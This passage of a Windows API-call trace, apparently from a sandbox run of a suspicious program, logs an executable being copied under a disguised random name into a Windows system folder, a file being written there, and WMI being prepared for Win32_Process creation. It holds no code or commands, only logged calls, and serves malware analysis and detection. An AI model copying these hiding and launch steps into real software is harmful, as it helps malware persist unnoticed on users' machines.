(lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\yardadultbehind.exe" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\yardadultbehind.exe"), bFailIfExists=0) returned 1 [0160.356] GetFullPathNameW (in: lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\ac6c4644f9bcea", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files\\Windows NT\\Accessories\\en-US\\ac6c4644f9bcea", lpFilePart=0x0) returned 0x3c [0160.356] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0160.356] CreateFileW (lpFileName="C:\\Program Files\\Windows NT\\Accessories\\en-US\\ac6c4644f9bcea" (normalized: "c:\\program files\\windows nt\\accessories\\en-us\\ac6c4644f9bcea"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x2d0 [0160.357] GetFileType (hFile=0x2d0) returned 0x1 [0160.357] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e8a8) returned 1 [0160.357] GetFileType (hFile=0x2d0) returned 0x1 [0160.357] WriteFile (in: hFile=0x2d0, lpBuffer=0x277d280*, nNumberOfBytesToWrite=0x3c5, lpNumberOfBytesWritten=0x1bb7e978, lpOverlapped=0x0 | out: lpBuffer=0x277d280*, lpNumberOfBytesWritten=0x1bb7e978*=0x3c5, lpOverlapped=0x0) returned 1 [0160.359] CloseHandle (hObject=0x2d0) returned 1 [0160.394] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0160.394] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0160.394] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0160.394] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.396] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc5120) returned 0x0 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc5120, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0160.397] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc5120, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f5c0) returned 0x0 [0160.397] WbemDefPath:IUnknown:Release (This=0x1bcc5120) returned 0x0 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f5c0) returned 0x0 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0160.397] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc4ec0) returned 0x0 [0160.397] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4ec0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.397] WbemDefPath:IUnknown:Release (This=0x1bcc4ec0) returned 0x3 [0160.397] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0160.397] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0160.397] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0160.398] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0160.398] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x1 [0160.398] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0160.398] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0160.398] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f5c0, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f5c0) returned 0x0 [0160.398] WbemDefPath:IUnknown:AddRef (This=0x1bc3f5c0) returned 0x3 [0160.398] WbemDefPath:IUnknown:Release (This=0x1bc3f5c0) returned 0x2 [0160.398] WbemDefPath:IWbemPath:SetText (This=0x1bc3f5c0, uMode=0x4, pszPath="Win32_Process") returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0xe, pszText=0x0) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f5c0, lFlags=2, puBuffLength=0x1bb7e708*=0xe, pszText="0000000000000" | out: puBuffLength=0x1bb7e708*=0xe, pszText="Win32_Process") returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f5c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f5c0, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0160.398] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f5c0, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0160.398] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e6c8 | out: ppv=0x1bb7e6c8*=0x1a943398) returned 0x0 [0160.398] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e6b8 | out: pAptType=0x1bb7e6b8*=1) returned 0x0 [0160.398] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e6c0 | out: ppvObject=0x1bb7e6c0*=0x0) returned 0x80004002 [0160.398] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.400] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dae0 | out: ppv=0x1bb7dae0*=0x1bcc4ea0) returned 0x0 [0160.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4ea0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7db28 | out: ppvObject=0x1bb7db28*=0x0) returned 0x80004002 [0160.400] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4ea0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dad8 | out: ppvObject=0x1bb7dad8*=0x1bc3f500) returned 0x0 [0160.400] WbemDefPath:IUnknown:Release (This=0x1bcc4ea0) returned 0x0 [0160.400] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d8e8 | out: ppvObject=0x1bb7d8e8*=0x1bc3f500) returned 0x0 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d990 | out: ppvObject=0x1bb7d990*=0x0) returned 0x80004002 [0160.401] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7d038 | out: ppvObject=0x1bb7d038*=0x0) returned 0x80004002 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7cfc0 | out: ppvObject=0x1bb7cfc0*=0x0) returned 0x80004002 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7cfb0 | out: ppvObject=0x1bb7cfb0*=0x1bcc4e40) returned 0x0 [0160.401] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4e40, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7cfd8 | out: pCid=0x1bb7cfd8*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.401] WbemDefPath:IUnknown:Release (This=0x1bcc4e40) returned 0x3 [0160.401] CoGetContextToken (in: pToken=0x1bb7d060 | out: pToken=0x1bb7d060) returned 0x0 [0160.401] CoGetContextToken (in: pToken=0x1bb7d4e0 | out: pToken=0x1bb7d4e0) returned 0x0 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d5a0 | out: ppvObject=0x1bb7d5a0*=0x0) returned 0x80004002 [0160.401] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0160.401] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x1 [0160.401] CoGetContextToken (in: pToken=0x1bb7e300 | out: pToken=0x1bb7e300) returned 0x0 [0160.401] CoGetContextToken (in: pToken=0x1bb7e200 | out: pToken=0x1bb7e200) returned 0x0 [0160.401] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3f500, riid=0x1bb7e360*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e330 | out: ppvObject=0x1bb7e330*=0x1bc3f500) returned 0x0 [0160.402] WbemDefPath:IUnknown:AddRef (This=0x1bc3f500) returned 0x3 [0160.402] WbemDefPath:IUnknown:Release (This=0x1bc3f500) returned 0x2 [0160.402] WbemDefPath:IWbemPath:SetText (This=0x1bc3f500, uMode=0x4, pszPath="Win32_ProcessStartup") returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e708*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e708*=0x15, pszText=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3f500, lFlags=2, puBuffLength=0x1bb7e708*=0x15, pszText="00000000000000000000" | out: puBuffLength=0x1bb7e708*=0x15, pszText="Win32_ProcessStartup") returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e710 | out: puCount=0x1bb7e710*=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetInfo (in: This=0x1bc3f500, uRequestedInfo=0x0, puResponse=0x1bb7e728 | out: puResponse=0x1bb7e728*=0xc15) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3f500, puCount=0x1bb7e670 | out: puCount=0x1bb7e670*=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1a97f9d0, puCount=0x1bb7e630 | out: puCount=0x1bb7e630*=0x2) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e628*=0xf, pszText=0x0) returned 0x0 [0160.402] WbemDefPath:IWbemPath:GetText (in: This=0x1a97f9d0, lFlags=4, puBuffLength=0x1bb7e628*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e628*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.402] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e588 | out: ppv=0x1bb7e588*=0x1a943398) returned 0x0 [0160.402] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e578 | out: pAptType=0x1bb7e578*=1) returned 0x0 [0160.402] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e580 | out: ppvObject=0x1bb7e580*=0x0) returned 0x80004002 [0160.402] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.404] CoGetClassObject (in: rclsid=0x1a9a7298*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7d9a0 | out: ppv=0x1bb7d9a0*=0x1bcc4de0) returned 0x0 [0160.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bcc4de0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7d9e8 | out: ppvObject=0x1bb7d9e8*=0x0) returned 0x80004002 [0160.404] WbemDefPath:IClassFactory:CreateInstance (in: This=0x1bcc4de0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d998 | out: ppvObject=0x1bb7d998*=0x1bc3e900) returned 0x0 [0160.404] WbemDefPath:IUnknown:Release (This=0x1bcc4de0) returned 0x0 [0160.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d7a8 | out: ppvObject=0x1bb7d7a8*=0x1bc3e900) returned 0x0 [0160.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136968*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x1bb7d850 | out: ppvObject=0x1bb7d850*=0x0) returned 0x80004002 [0160.404] WbemDefPath:IUnknown:AddRef (This=0x1bc3e900) returned 0x3 [0160.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136978*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x1bb7cef8 | out: ppvObject=0x1bb7cef8*=0x0) returned 0x80004002 [0160.404] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136988*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x1bb7ce80 | out: ppvObject=0x1bb7ce80*=0x0) returned 0x80004002 [0160.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1135de0*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7ce70 | out: ppvObject=0x1bb7ce70*=0x1bcc4b00) returned 0x0 [0160.405] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x1bcc4b00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x1bb7ce98 | out: pCid=0x1bb7ce98*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0160.405] WbemDefPath:IUnknown:Release (This=0x1bcc4b00) returned 0x3 [0160.405] CoGetContextToken (in: pToken=0x1bb7cf20 | out: pToken=0x1bb7cf20) returned 0x0 [0160.405] CoGetContextToken (in: pToken=0x1bb7d3a0 | out: pToken=0x1bb7d3a0) returned 0x0 [0160.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x7fef1136998*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d460 | out: ppvObject=0x1bb7d460*=0x0) returned 0x80004002 [0160.405] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x2 [0160.405] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x1 [0160.405] CoGetContextToken (in: pToken=0x1bb7e1c0 | out: pToken=0x1bb7e1c0) returned 0x0 [0160.405] CoGetContextToken (in: pToken=0x1bb7e0c0 | out: pToken=0x1bb7e0c0) returned 0x0 [0160.405] WbemDefPath:IUnknown:QueryInterface (in: This=0x1bc3e900, riid=0x1bb7e220*(Data1=0x3bc15af2, Data2=0x736c, Data3=0x477e, Data4=([0]=0x9e, [1]=0x51, [2]=0x23, [3]=0x8a, [4]=0xf8, [5]=0x66, [6]=0x7d, [7]=0xcc)), ppvObject=0x1bb7e1f0 | out: ppvObject=0x1bb7e1f0*=0x1bc3e900) returned 0x0 [0160.405] WbemDefPath:IUnknown:AddRef (This=0x1bc3e900) returned 0x3 [0160.405] WbemDefPath:IUnknown:Release (This=0x1bc3e900) returned 0x2 [0160.405] WbemDefPath:IWbemPath:SetText (This=0x1bc3e900, uMode=0x4, pszPath="\\\\.\\root\\cimv2") returned 0x0 [0160.405] WbemDefPath:IWbemPath:GetNamespaceCount (in: This=0x1bc3e900, puCount=0x1bb7e5a0 | out: puCount=0x1bb7e5a0*=0x2) returned 0x0 [0160.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=4, puBuffLength=0x1bb7e598*=0x0, pszText=0x0 | out: puBuffLength=0x1bb7e598*=0xf, pszText=0x0) returned 0x0 [0160.405] WbemDefPath:IWbemPath:GetText (in: This=0x1bc3e900, lFlags=4, puBuffLength=0x1bb7e598*=0xf, pszText="00000000000000" | out: puBuffLength=0x1bb7e598*=0xf, pszText="\\\\.\\root\\cimv2") returned 0x0 [0160.405] CoGetObjectContext (in: riid=0x26fba00*(Data1=0x1ce, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7e618 | out: ppv=0x1bb7e618*=0x1a943398) returned 0x0 [0160.405] IComThreadingInfo:GetCurrentApartmentType (in: This=0x1a943398, pAptType=0x1bb7e608 | out: pAptType=0x1bb7e608*=1) returned 0x0 [0160.405] IUnknown:QueryInterface (in: This=0x1a943398, riid=0x26fb9e0*(Data1=0x51372ae0, Data2=0xcae7, Data3=0x11cf, Data4=([0]=0xbe, [1]=0x81, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0xa2, [6]=0xfa, [7]=0x25)), ppvObject=0x1bb7e610 | out: ppvObject=0x1bb7e610*=0x0) returned 0x80004002 [0160.405] IUnknown:Release (This=0x1a943398) returned 0x1 [0160.406] CoGetClassObject (in: rclsid=0x1a9ccf38*(Data1=0x4590f811, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), dwClsContext=0x15, pvReserved=0x0, riid=0x7fef11595c0*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x1bb7dbc0 | out: ppv=0x1bb7dbc0*=0x1bcc4be0) returned 0x0 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4be0, riid=0x7fef117e690*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x1bb7dc08 | out: ppvObject=0x1bb7dc08*=0x0) returned 0x80004002 [0160.407] WbemLocator:IClassFactory:CreateInstance (in: This=0x1bcc4be0, pUnkOuter=0x0, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7dbb8 | out: ppvObject=0x1bb7dbb8*=0x1bcc4c00) returned 0x0 [0160.407] WbemLocator:IUnknown:Release (This=0x1bcc4be0) returned 0x0 [0160.407] WbemLocator:IUnknown:QueryInterface (in: This=0x1bcc4c00, riid=0x7fef1128508*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x1bb7d9c8 | out: 